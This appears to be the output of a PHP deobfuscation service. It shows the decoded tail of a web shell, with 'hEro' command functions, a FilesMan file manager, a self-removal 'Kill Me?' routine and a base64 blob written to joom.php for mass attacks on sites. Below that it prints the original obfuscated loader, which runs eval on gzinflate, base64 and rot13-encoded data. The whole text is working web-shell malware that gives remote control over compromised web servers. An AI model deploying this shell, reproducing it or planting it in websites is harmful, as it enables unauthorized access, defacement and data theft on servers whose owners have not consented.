wvYj4NCjxiciAvPjxiciAvPg0KDQo8YnIgLz48YnIgLz4NCjwvZGl2PiAnOw0KDQp9DQoNCg0KZnVuY3Rpb24gZXgoJHRleHQsJGEsJGIpew0KJGV4cGxvZGUgPSBleHBsb2RlKCRhLCR0ZXh0KTsNCiRleHBsb2RlID0gZXhwbG9kZSgkYiwkZXhwbG9kZVsxXSk7DQpyZXR1cm4gJGV4cGxvZGVbMF07DQp9DQoNCg0KDQplY2hvICc8L2Rpdj4NCg0KDQoNCg0KDQo8L2JvZHk+DQoNCjwvaHRtbD4NCic7DQoNCj8+';
$file = fopen("joom.php" ,"w+");
$write = fwrite ($file ,base64_decode($joom1));
fclose($file);
echo '<iframe src="joom.php" style="height:500px; width:1500px; border:0px;" name="Mass">';
hErofooter();
}
function hEroselfrm()
{
if($_POST['p1'] == 'yes')
if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
die('Shell has been removed');
else
echo 'unlink error!';
if($_POST['p1'] != 'yes')
hErohead();
echo "<div class=header><pre class=ml1 style='margin-top:5px'>";
echo "
?????????????????
?????????????????
?????????????????
?????????????????
?????????????????
?????????????????
?????????????????
?????????????????
?????????????????
????????????????
????????????????
????????????????
?????????????????
????????????????
????????????????
????????????????
????????????????
????????????????
????????????????
";
echo '<br>Kill Me?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
hEroFooter();
}
if( empty($_POST['a']) )
if(isset($default_action) && function_exists('hEro' . $default_action))
$_POST['a'] = $default_action;
else
$_POST['a'] = 'FilesMan';
if( !empty($_POST['a']) && function_exists('hEro' . $_POST['a']) )
call_user_func('hEro' . $_POST['a']);
exit;
Did this file decode correctly?
Original Code
<?php $OOO0O0O00=__FILE__;$OOO000000=urldecode('%4d%72%2e%68%45%72%6f');$OO00O0000=285532;$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};$O0O0000O0='OOO0000O0';eval (gzinflate(base64_decode(str_rot13("7s15s9eVfwtB/518CaxCTb7ijG5koOnGzQw2QQiPtZ2BzMaUSlDZZzV5YTnMx/s+ISI3Fl0ufW1x5a7i/L1aUVCHn3I1oI1IsKddIYcmcGoeGxsgLIs5c3Yoaf2J46a+7h3ONc4dy4di/qQeg30K8TDPYk1CsgT7Q8nbr+vic8bI9nobC/LUG4Y+V3mIaH7U0/gcqmXrmb1E7mO1U8iays+sxebi3yGIEVbXmodmzGRr3p/z7ra8xO4MV+A+1c0s+yxQ5ewaCl7J8aaaF3u8GjIz/hBN89JjioeieeenLb4gm41uIkFO1/G93wFTkimDswuf9jmg/g+Y8oj7h58hEyvViK731at47YzY9Pon4qTE8fr7g28rSvZAB1Y6dry4Ac8nx5aMaiJ7f8BQ9aGnKeAFo6oq+JV6HbmMCG21Ki6f0NqbsaYbqmsuC1MRhp+XI9f0jQqs6q+Q+9hoFuJJM3ft9VLIueYJvPqGLmGCw3iT6WOTdpQCm1qL6g3oY/0csCel86D/Ho6lEjNVL4LDMh396y8tmiu/C1Y++H/S+DLEMnaQd6A3o3aQHSgkIIDhYkJTMqPNhld9WVD7Lt3jqhtU+gYT44UECrF4rXjZ9ptuyG/Pvo55bkmZhhMQqmDaWQ64e6GXtXF/+z6mg/N5a/o9mbe1h229Bm305pqnT6Ul2n7ab5n+RgOb+bp/vJxzoz6h1qFishbqDsPs/luoG3+6yNnyZSP8r4fD/iVjUf2IzoUcKib++cFUgtLsdbO0Z6KLKFey8oN9ByobjGSZqzb8+OEgoV6ay75/ONYcqPQth/eFbEKP8I8k0UlMT3Bmr0HePug51QJIlfvLuXrXPdtjAC5gqWKL8WrA0rg/BJIynnyCrEgiizt0o/e4ZW4ByJS33u/eym5pTu891b0ajZF1PrCggYIOomcrwCDCAYoC/mtC4U8KlgYD5/3CM+UVMUJuqVPnqXpscz3qJZj+s8WUj/LHuiuuCc58QxLP+BGQpYm54PjMbge9Ybk2/wxpPSAoqcpToZwh58KHCCD3wWR+Kf7hC91/hV+MEaq0/mNqQ+/UP5wY/JjPjQ15aCG8EmFQA1/z7L7MIoFhnH7nht6x6qVK9qS3YRism3l840gsZUYB6xUSXsfNa3FyoEd90nJCDLkJO2eQtkPfwYF6a3PufOdfw7DjeZSG0nWa01ZpNSIU+djHxHO/Ie6pqd6tbz6Ki/cvwPnYhGWsG6QQrKp19lz4jF59gZ98h9peGQ+rF+FkVZTNgWl8uDQ9vOHCsdVv/A1U+eajXpcG21mNNXkc+WGkXQ3JSeAYa/TtUZ77khlRlhPz91iS/Rq/2X8h/s4Yuo7FqR7LqiO3GWvI/+VeAux3S9CaJyDpGqbiiAe+k3xV/6CJL7KdGrXzpWgCIIBKicg02vrgjbfKHaQKS6mwuOpIn8ab4i87v4ypMi86LbxsgbFfZrsd0oZ/p+R8A7r8FYASOjDWXNPpSbQDJpOaQu/vHlyvC/wmKX/2D/vNOVc9aylyqTBhkAqXLKdP8/1lPuFLlQLHEOcAICaHVglpX3GT+yec9TlrtG9VkjQg4OI96Z+UWzZNlBHMP+zhwCxSZGmx15mqRsrfbUm3XmR0jHi92Je19w4YiNR44B/X0MUA6oiQlKjASqhYrs+rpKStxGLUC1Ffcz22Q0lsMVyQ10BHOBFTwbEVtQ8iT9hyZc8hhuq8xhnfv/B+6Te9frW/99LCY9uakH9F0tUVgr2SBo9iZ0xWRQOgzA1MbG1lSDQk5o792S7MCHtigK57PeCR6ckUsDvTVxR/ylhIDkQG5eORFkONNWKt2lTXWmrI48Ok+Bwb8gX3ARn+VlkAH52gM5q+rVDA8SaLmkpwL4HiQicwxUP1cD7q/tXFX3j6gPEMc5vzZDxAZBtKen8oH8pYoTcUX9tu7HbpPmKjumITdKrLQ8e/fY1OGiigAkQFsXsjw1JRv68U+0goOLHHux9+uqWzq0Fswm4Rs1q+tgTp+cHwh8HGrxV1UGW6naI4LVkV4ZJvVPKt+zQOA7txbvlbRZMfCtZ1OSDW/5Rb/+LK/V4gUTAICtKEmP+CLkPzso+AsCYoe7EJab0wEf/704KHjotwnHCHbluR43M2PVIEBqUZoag0+Uk3fT7m7aOiM6mVQ+vdQjYIiDg4iPa7aqFC3ELbFqChoYlLNvLpCPOLW+ZWYwLN3DqF+IM7Cu8s6eVCh/Gjc18rhzCNxjrB3YjpVZGQSPEqrURpQVGBkCjzzwzrLH8BqLbeoSwGke4Q2ZBwF8/9VT9JXaMl6s/gA4M/thPV56q+7/04aJZOF21PUKkdxiovsZ+bmXv7sPPgUDcDjlNrm7e45OQefqRqCNORbZDQDyPuS7Pkcu2sTQj8jlVpcYPOfIzcthtSnv1SYnGk/OHaGumjUB7LagJtbwjfc8n8l8bsJ2fNuL4IKNsyK8d5pvE/5c18gs5fQ/AOYOb+yZzQTWr7VQ20P351HDIHtD6CWRVTv8BLzRHGTGT3FBnoeEr4RWa8GGlJe/mdq/RNizufFnoqotKIRxEg3MtA8NUcXLq2sL30M7nT8/T8oGcd3ABw+kqKxe79YU3+UTEyklQoZX2SFDm/PXDQI8cAHHRMLmF/8iSvQ85v064BcqWcI7UErAG1nd94H0j5vjXDgjvUOvu6/9Fqby3Vs2DmC3k+PFA17Pw5mpCBWbse2o9AGe1NCMmsT6BUfqj2SoNnIklgv3q7zc9u89c4ABcdp0rmZ7yMdIKemr5TWm2iSvp9m+ob8r62kcdk3qtOeVgKJ/GLnbiZnw00djUnbIk6Y1dsJH0qjPg4rez3eVfDfud+zTxdnIRVkTJf5qihr9M+6A4Ck3dK93ytCMugL+EA0LSwIc+76vOlXyrNkz7HgCgUJavC1OJRWQRR9hklI6RYfJL2oRHI2vO7Wxzp8I7dvg7Nj8i9uor6gPf+26Hk0fjS/YI7WpRF3/AKac07dwyElIaMZLPsgeS9CQAJ2Uv3M+u8NVYUpmi0Y7E/S9ZcozO8MfxfOjgQvXaQAKl2K/FxSm3UP1PqWlt5/ZkJ+6fSfm+poIbQzllkMKhp1V+7V+g1o9cmyB45FiZMLE+/+cxg1QxI9to+fI+VRJAK7xdfq/nzM1s6XwvBjNfFch9ALmFLPMxKErOWr96U793IkVD1CJEvgkqCrKZjhgGTv9U8xBeju6PStzu2TouDQbjiO6ZCDsmj/e0gcAzqttwz+9WJyC60+jOdhu80sdQV2hQF3mi8mFqHYWQ9s7ARBze9xIc//UW5LBOsnSjVqb62nIF/Uwm+svWReX3rs/Zq+n98W7lx8shW7/GYnMiirEgvO/eHrBeBoAxFugSgn/3QnKiH6jXG8u/7A/4wcG1GJARwF6P7W0JXUc74C4ZVlQpkokUIRtNODpQ3Q58SNE9NjSVls/Zs/+o3a1vgaC6T1fgsSshE8wfBz6heKi8cGXU98yClWyT9h00cdB4eg7I4Kx0bit+ac41j4iD0JH0dmJl1xSrPWjTyPeBoTotk2+ocnnebH3m9+Kml+sE0hIlrYZZa42aigSb+KJSoDnmZC36LFmIC9YahL4LS6aZ1ARqNpeqoPxnwHqnNXZ7f0COc2W0QwXQTu+6/S8oGcF8OyOx2/bsdrgWStjk9L9MBZzEpXSmDhymZUm6p+5EG1uNmp1s6LqAgQS94T8CWxPGMHx+12LjC76pCU/QiloV/uvW/PRv/4God9zV+MzwRQTvX/HNlrPgxrMBsxaaD47aMsMNsp8U1uO1L8Z3Sh1o29Z1fsAQDMXKZkvnDva+Rj+y0BZkrZ/hr8b90Tb8IkV4TFXC9TzdSknwb4DANmyk/Iheqdq4rgL+IGUsHsLX/Z1w/Q3EFLJTxL7ug5D/YlxtqXDwpQ3cKT0/MhDfkPXdQgwL+C+c0lFsMTMiDyUCLiQJei38Zh4hEPHkSohPyb/Md9p2JcqK5rtr82nc+4T8/PFQly7v0h94OxajtWCmZyfhw1M2iB+C5sQmp/M763sxJr/nRtAm3atX89m0ydU+i99g4YBAtlVTQNu34nz5AtpAI7OhhEsWqn+CUjhDbjx+O2B6ZvX7RH747g56mlHeYW16joJfAzqPp7ZzszMTJCpLufWK4tYGzf2YWE3m7Cm8O0+NGpSpDD5TrtYj9ZqhjODlblmin1J5o0gj9q49718uYqrnLg3g7r+/c3KfCwH1GYQGiB3MoZYPQvU746S4BJgKjwyHA7ymJeEdpTxqph9JkmLBrY5/MmYfbzqsXsB6Calmno1spbyDrmoU/ENi85j/cECKmCk4r2CaCI7o4W8QLcLXZwHupuCptxN0ujmRkpVTqCWwwWq/EIcZqb9pTDLb1lp+MNbU/hhQ7C8EBt3ycBzx5WxnOysNx3NDIyyJ2hhWfOppPb9x+S6Ba7fS/+saltA7/sUIOJC5MvH7zFzR8TcAA5It6wM/vnomCTuHqwSgtRpBDui2C+Kufmdbqx5KLWtNJAXvtBceV4SQBNEm2ReFAxDYFBEnDTxWxiUPJzoXI/JZoNOjlmhV6jYK/O1FLT1eo5Z0BQI03h6YxMAcIcW8/MTXDTP+zEaq6oNSZICdUAc7sm837O2CI1s9NOLu2C3294WfYtJKGQXYhgYijhpNzbPZXeX1cGQ7s4kLT5JGXsVHB9oT2TNVxG8FUyAzy7mAgBwoA6awlszpEMi/WReM9bVAQ+paEkG0A5BJq5nT48y55ce8TedmlDEx/CVPRFg+BRTOsWGijCEcW0slkMp5w2euSx0zh9508wNTL5ZytirRVSYnVb0KPg6tgiiadh/udAFcMiXm2szEaJ2t57HbwRE9BDUrF+39MYM/eRqA8kA7k2wqDvY1h/lUWi443hmpHwxTHAVAryWUihWqFEzlWR0MOOnYE/5W8KjE1jHy+BFI+pvHbhd0OfeK6NbucGBMKNvEC7nzv3nB671ABFNzpGodn0GMWK9cPAvww81/Vyqh7X/8vGBQxNaKv8mf6MseLP2eoyaIfj9U5WTwIC8GGHvNbqe1W0C/7ZE62Us10rsaDOuD++gai/7j9E7y8dyv9Y9IhddaXxHq3bK3quI7MKrwM7fY7hth/feijp92uxHtDXP6XvFZDCVIdU2iUx+QkWUD8PE/mAoTZBRPw2w9qwunzrnFsQO9B2gjWb32OcRAkCeh/fPccpvJAS9PxFgLmdqVxXArnOUzEFIPdWm2In4LpAHBvGRvhnG+In4LqApBvGSvhnG+Ic8uN5MtbrlFzke7Wx/M6sl/MbBlI6r1sy50Yk8qU3GR3SriDSxtVbkR+u/KbwKPUxSjP2K873RxHOrxcb2lKCitBwSe6kw4FCMB+P7+6NQrdbRZuq58upMp/yg0CLIiZzEsH8RU4CjzSugDXKxslmBzQWAZqfHegiJ+1iJ8ajs2iD/gsu/q3mMnXB2SlMk6v8EWDzC3Rq8KqSwx4HJw2pp5QjOHhF6okZCrWMfvwFCvT6dWh+Y+tAoFkKAIjTW8OUsNY90+lv8grG/4G7c/ll6D/hFr/jfBwLlIjQZc54BwR76k8naKfTbYbS5GUKq1PI2G+OcebI36S3kChV4mss1qLN1N0t/MjqXBwO1Ff56mSYBn8zaglNb5aNZocrZxzrb7hKpZrjOVD1XsZcccygvE305CETCMjUjFPR208CU0jgQ4VjoCGHPNLCt2pajoQU4BEHCtfSCdNHfCWMAEQD6GH+oBthp3r7bRZDc8swE4r4pjHTlPI9xZKSOv9+9y/Vc114qc4ACspBAF9j7Qqdqas+1tlJso9shWKeOSIhyAHAB12SRr9pdbNKZdd9kbDAIYklx6x5ri66FZthF0nxGo5VNx7f/KZ//fyq5dlwyqylIp50NZbPBVMjP/bMKQbB+3BgIARsE2Js/Gtfj/prCf/vGcU8tgUd7MDaLtId0b5SHfdHcBBSe/XK2DW3nCINmdKpIEKkWzSAEZ6enQCwtT628Vwjh602mi0oLP6+b5SUJpyql1DzKe3j/Mp69+3GsCD/j+feCtBG/515CfUEwXjIiQQzNUcjtJLO3Zk6k+6U8AbhYCKsTbZQ0KgK4B//kbN5Hv5HxWUmdS4gfZN9C69h9Bie/mBSb+1cvuWActq6+MDe/6tdgXl/4s7OC6U62S2R/mbMfrT3Fofyd/6E0UMf8axai2YQv8I0Y0CWIpDVBW856naKLfcVPT1F1hBX0rZmtXcCwETVVkVe06yAi8SoVdX/gsi25Ak7f4921AkruwvCgigTJNuctI6Oxib0NTcp5qKe+OYQjgGfozXgnmRtiQqWLiKBsG3AQjQABys9yTUs4ogDEs+NWaTs7gGR/+fDLbMjLscbeBTC/C2SC7goDjf07U/uBQivSePHOEfMtM8xOdEpAan1TWRhXzArKsb3W0NWIl3Eg/NfiGrJLQtDv9BbXrY7KqB/SB2xWN/8auvtmatOrKxrQxlklwIsUoN2JdTiAyLvMxA8PJfA4m0NLujU4T0Ud3jQ57f4uVfPAnfwYzpsOtnTO0zD06vu1Y7NajuTGmo0Nf5jJqQY7DSiy3Df0Ubzd+GnVuJKCErpECp1lQ2tuQ78kMnFj19pCk4wM6T/ceISqib2MnqpUTPuC5kBTr8ph6Zlz7AaMet/fO+xSD4cbw/aY4Gqa9rMQsvPDszNdHeyt+HALDG7i70DeSUWh8rUJz1pu5SCgjOXVNI1cHFCFQUAKcFRH9z/ZxgnSF9nMp/aiGj2p20erR5uG3X8MFCHOnLV//yr1ntqDj6XN06YNM9V/yX4EPLMkDZb7Yy12FWf/PNOZlXy/rEILb/rmIft2WbKUO9zInRexKq0qBua8iOyMg0gERec/kU2jZDdPqmBzO0imiq/W123c04S7DEenmJHl9H4etGvxgspj5CxxIrBbGokx5cjm0NlkfUy1Y4jskwakpZdaXJLPOPO/l/b1uOOrE/wxGjarHAdSm9W1Rey1CS6a+4rk/6mrmNQFilOiIkRJsQgUSQi/DAh6CSu8545qiiXDYS/4SSyG+4NspZmjJytmLZJhEdMKhlOx2FgZaMGChtg+sgH+Ddf9CtnFQDrKu4LWea7OGymN+qUhdHE8d0B+z25k9JS1+gmiN42mVlP8gm4ZV+M2nzxtrtmKAhO5sdaeNOBj47j2u2gtiupoA1awCgzh05bAYS5tBD1+7dp/Evh3Z8ASpPFhOPTTf6VAxZiVqtTfmpsbKmbB4/uOmqg/s1UtkplYQr2E+rsK+DF3drHgA54Tt8UoMA8w1DdgAhM6U1h3ZtcsXD2WPCSspGuKzjBO1r5YzrpQ9TaWK9aAIlQu4XmdPElqvtb0CcZVYuNVlGs5YsJMPXEi5YPGvkORKTx0zohzp97dc47xOoXrY21pvYGm/jBMm0wVrwaHAlNCQUq/5uvZ27u9P2ZO+DSu2hSCoUtF+0UIkUdd6yx9l8Vyg754pDNY1YdDgtPxDUbhs/crOWdL0RQvjm2+tUWKKZsXkpbUpAmeBZissnaqaLKZl7SmwY8Yx4h/0DwHn7jjg+cC8kYO3ypvdtlVsma6r9mhSM5Ww+C7dDN8Vad23xxApU/lZ3QAagwh1kTecm/8teTQdmI5PMfN+QU6CU/UpoW7pJ1nWg3U+RuaUisOnl0DGahYpQG3XkuIgvyI6kaWWausf1YnoSUwwE/bNYlFPYF6s8MNjkoHq7AY+DaETQa0Vrd4Zghyp2rRm/o0/Mh3m4/Ww+s3U5lQU9s+GRqlm1/EiAoQ+12snlgcIPn6g8BQgmNhsURPwdxRtFK7rjwq3Lb8Kzmv+2g6SLjFOsjN9hlfBtpbVY+BsNOaLTUDG9zLPEbrUj+RVP9OKSAKRd7cQJDOjR7BRaXrlOxT6/zZoIF/lj8IOiJ8eZ3uEFGWPRMy7D4TD61aL2IezeISZSE3BhkiOLNA/Qv4Hcfa3f7n8/6G61mM1qchdkiAFucLKin7CsaiI3NlEJlKb1rYbjiFoxoOz00g3NXpxQ3qgZMjboLzqQ6syRvMqe1qErDOqG1pMA+IbT9g4+rIwImy7wfpF1xetcSyBW6xiaZrehnH8gWcKoz7XwZDUx5jRATiWhFZsFXnIjx9jYVSq76lRdp3fjh5OKv9piasulfeByNbo+A8tg66JgCL7Uj/3g5nPR2K5cr2vW3qarYokHXZmtcp3u8pwB5yej8xA2q1AK1MhosZIARy60wGfCh5RYA5PFUx+1efqrsdoqnsqcM8CyYc5nquK1qu+ALUd39VJ9SLd4oGI1O++vrkeTt4xpHDrFB51ldrkmeiiMTDbLQvJF4qQIe0bQD5nc/h8vYCQmIdGue0ckCSrfaa6KNttclkZshft4ETjVD0+EC1yBbaVvbbtwQITRT93bfS9DsoWJJXOQ4kl5FbkUmZxQ14YJtQx3Zt+GbjfrmH5hEOsPoWCbLmPGtgLmLo3cvZDxmTJOp07uc+cw1t5HzexUt8u28hKal2qqll5+iiVcja/Q5sJfrRFcpRS42jyDfsXMlW4IoC5vDSqKiu/pSKCD4Wnw/DiN5VpdDb3iPSdAu72eHr62qDHCze91ZE7+YjTKz+IrviW2ruLTo/9jtPTcQB76KetK2bCi2tC6/36j/3jcH8lssjFF4jbtZii3Ds3/49v+N+j7AtPiupmyzLIOMHArxi1pVRJcZe95UFjJ8U+LgaZ/EVkFa/hIIWRPnv/9j4H5Alog6MldxlYey+ii8xsx8+N0XmM6FFHOMi9YBB3CIl9cpuVHoF4zrTXYj3aEHUuJX3gNedkFywi3m1hCCii9efSAKZaJevlUAiSGb9SgRLfickAP1Y14Fgyi/b/GP4ynVWHDM1vJ9Zxliya53e78mCB7Xqg5TUmBqNp+yb5ArXoiF+9keCvqqs1Uy8Wg3H4SMXrrqnMIBWuNTDq1+db8C0MXfiPAL6F6KzCpUvYY5oOwvN49uChYGXmxLwlmtaNmJBW75cj64p7L6Z3R8jkEFtJr2ROxa8WaeXPwnl8yvYybmHGsyWMXhocHtbSC4H9ajsCD2MUH8blF/m4p+i8erOW6DCr8zKVdyIKViGDGc7kbYQTK1q7MrrGGk5p0EtHI5vkJ8TmdMLCP4INw13LwGwwA6UKp7jxM0Z2UZ2yMRX3td/WCWoOXOAOS7sWFsQjjZPWwWb3IYuhml8offdMa2KB77Yyq9bAa2L922L922L5a2GB77WyqIipfT7YYuhllzzsMbS02nWrqJTHI9zNupbLLzZwPdu0tE7+sSs/He3mTnIYzMUrujQxegAko6VjX2D/BrqZmdbKhtCO3+3ISABeqnhty4jh+MUlOp+s4minC7+ky4jhpiJO8tqOYkuq0wv/ROmQ3Uc94KKJZG+jeL/rTFvPKjdk50d766EsX3qsJzn2SRiOMz9GifYDjizp5zYV9Fb7JR7MqU45bm3BovtAcdEiocYBiT8M5K9/Aw2kD5SCqMzHmeG0P1qAaMGF0N7YLz8ZQ+ZsBcXC3SpmRBBan73QNYB+upxwZDsxWqwSYwZrmN+XPfCYNK3wdITtZF8k+cnk1biPSGSCciEFG5ZLPbKVsviUMrsDhUP5ZqwDYP2n5RwTXx+N9OzSuBOKbQkqJKWW/vmqXRKk29fsM0ctwi5IsvaqigQnNDcMfC/ZK1Bji6Nqjm9529Kil7m+4G6i5SNwEQ/7ss/KCu5A7yzHW2WQwQp96Y1VDiKaQ/saoV/9pJqwP6x8vuqToAk1LtfTSL2GZDBRn1ROBjbektmg60nP9BDv23FInYajKmy6fCiFh2M3GmCT1gKwfpEX7VcaQtgxoF2VE6Jwc+/TUVNuX/yZ/Rtc68ca+5IzJJRHKnbe8HCFFb6sPKTyqTNa0PQTJvJUfftEdxOqyCqR30ElEThKDmaMW7f3ViUjaWm7Xkr/90arx2CNRVZRTAHL8nF/iSrI5mU4WN8nCiYcHtwWZfyYDWT1rdHxWgB6XggOPC79tGbsELXipI+fGWn4HHYVY/QVqBvQZUa+IRVaabCeST5UfVGbYJR3WNkJw3SSHkzhr8CYmgz8i89asg5ZE8yLrM39oL8x0ULT+S9iyUclyUhkPydr3fmQ6rt+HllhtoHsJvwhX/UbjjQLKHkBqjaFESqMqHaC2eSzc2XFSxTUm1nnvo5Od82kJ2VLt9AhMzK+Jiam2mfrTxeGpaYFCrQGay36Ln9G/HMFLcaIaZlKMUEyq/FsyC5oCWuLvqqS/DMFqa6qpXVjK8BQmAm1m3TzoVT2CcmlNzQ7nCicRTb+I4YMl47afTUMeED0q+a+n3E/+Tihj+s390s3uo/bsjn9UC6RFVVqiXjqH2Z7f6ktNr/yeRZcELNe/UuYjLf7xERuWJMMwXi14mBYawZdC3yM+k2zZC+O3aAK4D35ShEXudfmTtOkEwyd9Lv7d/Fh8LjOH8m59DH3A+cWRDy4L68LQeVa19TL56x5CXpoErbnvuxSMXJoJfkwGoqy3gNRDY0PpzNz+obqDJRa84NyC42pwwmhMU+Klh3Nz8ufiCIVvxhjmkiUXmJShCK4Gl0Si6cRoxncEvBnhnfPOKMuSJ9qM+AtvVXPgNRIxMMlo5JECaFSPsx21sgSuXD79qk+TU3Dy+9a4wCsi0QPUqO+Dd1KH4g0QC7oUtfVtArfJzW9gkJ4R86BjbqSPxbX/s2cFMIbFOb7kHxtgC0hsC+9MBofMJvYJGT9dA2A//ekaWF1NP5MO2HqaKA56Uc5vx9hvXe8gdGigLsGnpUVfRNEMZt3Gm44qEV/p4VP9Za778y5kS720H2jo0VK9kFpb4eNBbpXiQQruoL9uRGq/qyE0Y4YmTFn9E6UzzjoZRe3XXDrx8QhtdFlqgH3cYrykBEfaueQHonQSUMzHh+i/TzOc+DzYkEvScJp+1nNE6s6Qt/niUt0NWvclbL53bnA/ospr/C3a4BpCDEatmwRpLc9fqY8eK2Nl4thXhE+PbN4Ua2+KtJ6O75wBApAR6DDvqa0Hs4IY43ewcZ5vgIuO9x4DoNj7gSVmpfzTIHnWkgYN31wkTi6GjjCmM8UZmXQ/fk8wHd7bFTZ76NXXD4B/ZhmNhRh2uK72J75jqZkah3s4GkLLxpfyWRfyBxTKQ+H3/5CEKMYsu/9x+6mPYi7M75Km9RSfSzmg6ZXaHUYBF7XnjwinLOG9tEsd/Vrfdsf6VpCts/P2UEnGj4Z/JPPf97FytSpYWG7oOL/fdXteAy7BEU7srfSbZXJwcr+ZzZey9bKNiNYbi/z1CblPN51tFNmbq47lUw16Bm2+odTacTBk5YEy+fmF0i7VChowuqMaKIGkV/JjR2A/nArtsp29tbdhsfIorK6KNbc+nYpvCWIABcyaZ2Mo+OHhd0mEL03h6EU6HYozy+lnLadXiJsfZYR3wPtOxDajBjD4WrEWdUuxctw++xEaH29rrPYncuCECrJgj9NKceGlCqrr80GGu2UgemaFCYW7fR6F6EFBXII2qtQMJL099QFdRobpFvp57hfIlqYyhbLPUmcII7z0cMN5AUaLBNYM/QVeg2H0E48ttmtAiA7XiUJcwN/iwAa0DpR1h1CsfKVJvU60wNsv4xJE2GycmPmiqdH9ajBKb0EIvwOBKicBoXhBb2sEcAqSAY4uKiwWR0os49Y7MYhQZCw8fyKZP34rj65F9yMRETeXXiwIX4XosekonR8zfWxcPh10eZ27TYHUtO76eOLCUvnHv4GqurADva1GajDR2BRGnLdhF3RzocivY+WTytz7t8Jrd3KWlfFrSwqb8ViPeU2CFBcNYobsvifNXGWh/LFCkBefjXN9H/Hi/oha6ulN4xZP7aiWqBlM8OIm2YVSKsZjMqhznfHkfI9pr9Hubiz+LT5A1t4zJJKrNa5a+Ww/Pb3BFiVzInxdkMhdxzdd1DcDL6weVPki3wufAiYOdRB8977EDSLPCGLIMoJOpeLEDYd0DXGT8nthhREihmEKSoqYfl2w7YuZLIqq5jXEDnfbcoIFCTGDK3oDRFfSPxc/HtBUahGDyuAg7qmE3Tp8GeCngZ038gOpktT5iyIGZtMWIrJSLNWzG36NYwW+O2t6Qzk12rIPKulS7FVF56Jn3ekO1O3nAcf61bZqzmI6sEBwqsPYlN+Oa1TXje8WyS3kN5Zu8EBWrzXa27do3CkmgFkInHud0gBED0xFg1N4OT+FaBk/HT6Fgp8aVGO94FxFQt+qel8iaLolajUdjdRWShtWy5DiVTxxa6yWB9rNqnBQgToFhexCiRYFtEp78nTyRbqXiN0UeoUxg700qedUkwW2bxw8EURkyB395hLjAbi5MGqEShZatzpAJmnefma3YsG6oV95w6PvFWCMVhf2Bq6+LyK5EmrV//UjGed39ZWaQ+3ANpcqPSEeFAf75EvivMDBJ3NN8gJUUYxWnEG/fpwrug5Y4uHW6/FXUGRsUICUcWplV74YxAfjV23ENF+3bG7ftgDOXMF2VrYAT2ReSypklwH/OP8BwXiYjZJUQjrTwE68xsrK3QjiIHTQ1e8z4+Ku+oSl6AaxtsRuXTRBaMwFCSmLlmckFma+OBcTp8k0dxkfF/cCgZK4hoBIkyaB9rykZT1QyuYHt7N714QFqP3hn3Rwsf7gBg/rRoYu+bs57hVRq/aiFhdZ5WPYALDibcJ30KngTtBuyAjIUOme+ZZMLARmmb3PU3UCyxF5l4yqQbrAUJrNQTvbNDTCbpInvvtpr485wgX/itnO0LtiMOOh0srH8BHJ8YWXsuVhc9xAFdI3xyUs0hsNIvpMOpeUe0HRdhtLgUGH60RpOMtd7nrh7fQrUI4H1ONMHMmQV3vjs7rCxI0x+RK4+cf/+Wi/CJRgLhZhcOKc/Oz2Rg4l0fgGLC9i5SOvGg+9pseqyo4LGdl9p6NWwTKKSmXIprnAhKFjM5Uat74gXtK4Q8xFk378364SyWMqi8fh1YIrjStI6JVirUhuiU8C5SmnH3wJvi5aAaxWuWe+4/RHLXzk05DGpnxlIzNFwUXbFPKxGpeNRCvZSja/TdXzfoev2CJ8ICEScLYD2NgXuM8cWojo7SWf9B6P1iU/jLwazzF7U68yEMH4UUV4CGuJwWpm3tskBNYtQHJuh4NojhpNLFk1WXE822sRJuOM3Bpi2YNkb7u7gVbobKaNbaG6UKGSXLcx0PDRKDy7a3wXKqrM6PixXpsyNPl9QgVQxh5BnW4asdUq2ezxUZ3Fgr7aHc2tIZqqBRj/biP2zMQ8NcmIXpZqg93g2nKZ7C0d8Lzxyrz20vz5A4F33o2R0ZVd/hEpH4qQxJ50Ql15D6oCCbscI+4YTQ0i4whlzpLhTiqlxDJU+vdWuqjHYLSyo/e+UlXqRQA8asQYMDsF9clvt4AwVlfvuvegpIm5M9vi5RUTMnP2Ls4x7I6a7kteD7bhvNO2ZJ4/Ln/woI2uHFZ02iBs/aeEyFo9XxFtTwLzxQ+TG/YU8O3iyA6+QmTxfjhaQeIyJKCo63zvQpsI0F7oVKrNp5ajD9lt7auPEyAwMRuKcw9wrAl+js1NYndKCNlTZwTmS8D+YAYBZ8pUvUWGla88VfDGTkMTuJawtAOoW188S72y1f5Kp9/IoKinUuYu/ALJZfluwOochkeXwmIbc/7q7GNCBsqcS7pxjIbOoZzLAZTcx1ZZwM0y/U7QLVjp9fEiN3oKZQeVjdtuswd7gmvnw6veK/3ZQr+ridXcG3yIopjh/Z2I2jDsh57mFWO5oBTuQ1213HKspTfY4N8iDH5/jhQu/+xDN9G+0/782/Y9s/QwZo+r6ywcO+RKWnnGs339nGtmnvF8LvgUmw5qYoY6lu+LsAldrAV9Ix6r4YrCi/G+VCwI2qlJBpo/cE9RH0f/uW6VJSVEMunWTmilq79he9AS5Z9gqcMe8hcxVvHIQSk8SIzCqgVPbR7Lj+UE3li0eFfRmXx7+t56mXPnnyLiRrD83bNnWshGVfA/Q4323WrZlOyQqz+mK9dEWmLE8dk5GRZ6RyElJ/uyo7vKXOnSUF+Azf3QrshjDPTMwKdgNU2QWKQXKB3U9bbitdsCZRpzljq7dRpBerfx/Ayd9sL+P8J5kj9eGozH4vK3OdDxXCu4ymrBqmLg4YS0TCNsOHt5ZVM7gMv+DoB+8u/zZ/T6ku7TmOpQsdwS2+lgLes46tMcfHFY1TQXJw5dxeq5diTcblKWqzJrCQuh35RSid0rznRFHWPasdPxC8W3sWsuu0myQfZCMfJ57H8F8NXCIelj4Bs9ltS3xMUZZJWlhjGQSCjE+dam+AIat8M5WZZ9CCOHuD34MwUUkaxeZUXitsfqSkMkMk5KiyQs9wUApk70JkFsuSRi65P33piWPEj+wsYcvljGl1Yht0f0qtaUVlPkIyXzervjNmkthrpW1B61F58nZuq3bIJjyna1oeCSDPgwChJUissW0ivk3Lt8qeY1DnfFB9sP5vLsYw7qurnzabvZo3hOn0sqGZGHZ+nv1Fj9gEgav3oleWtLztf9RM/sApmSqLL+97Ju/cuCkO/ozsEnGHmjr6tEQRmH7XlLZTV9AETsq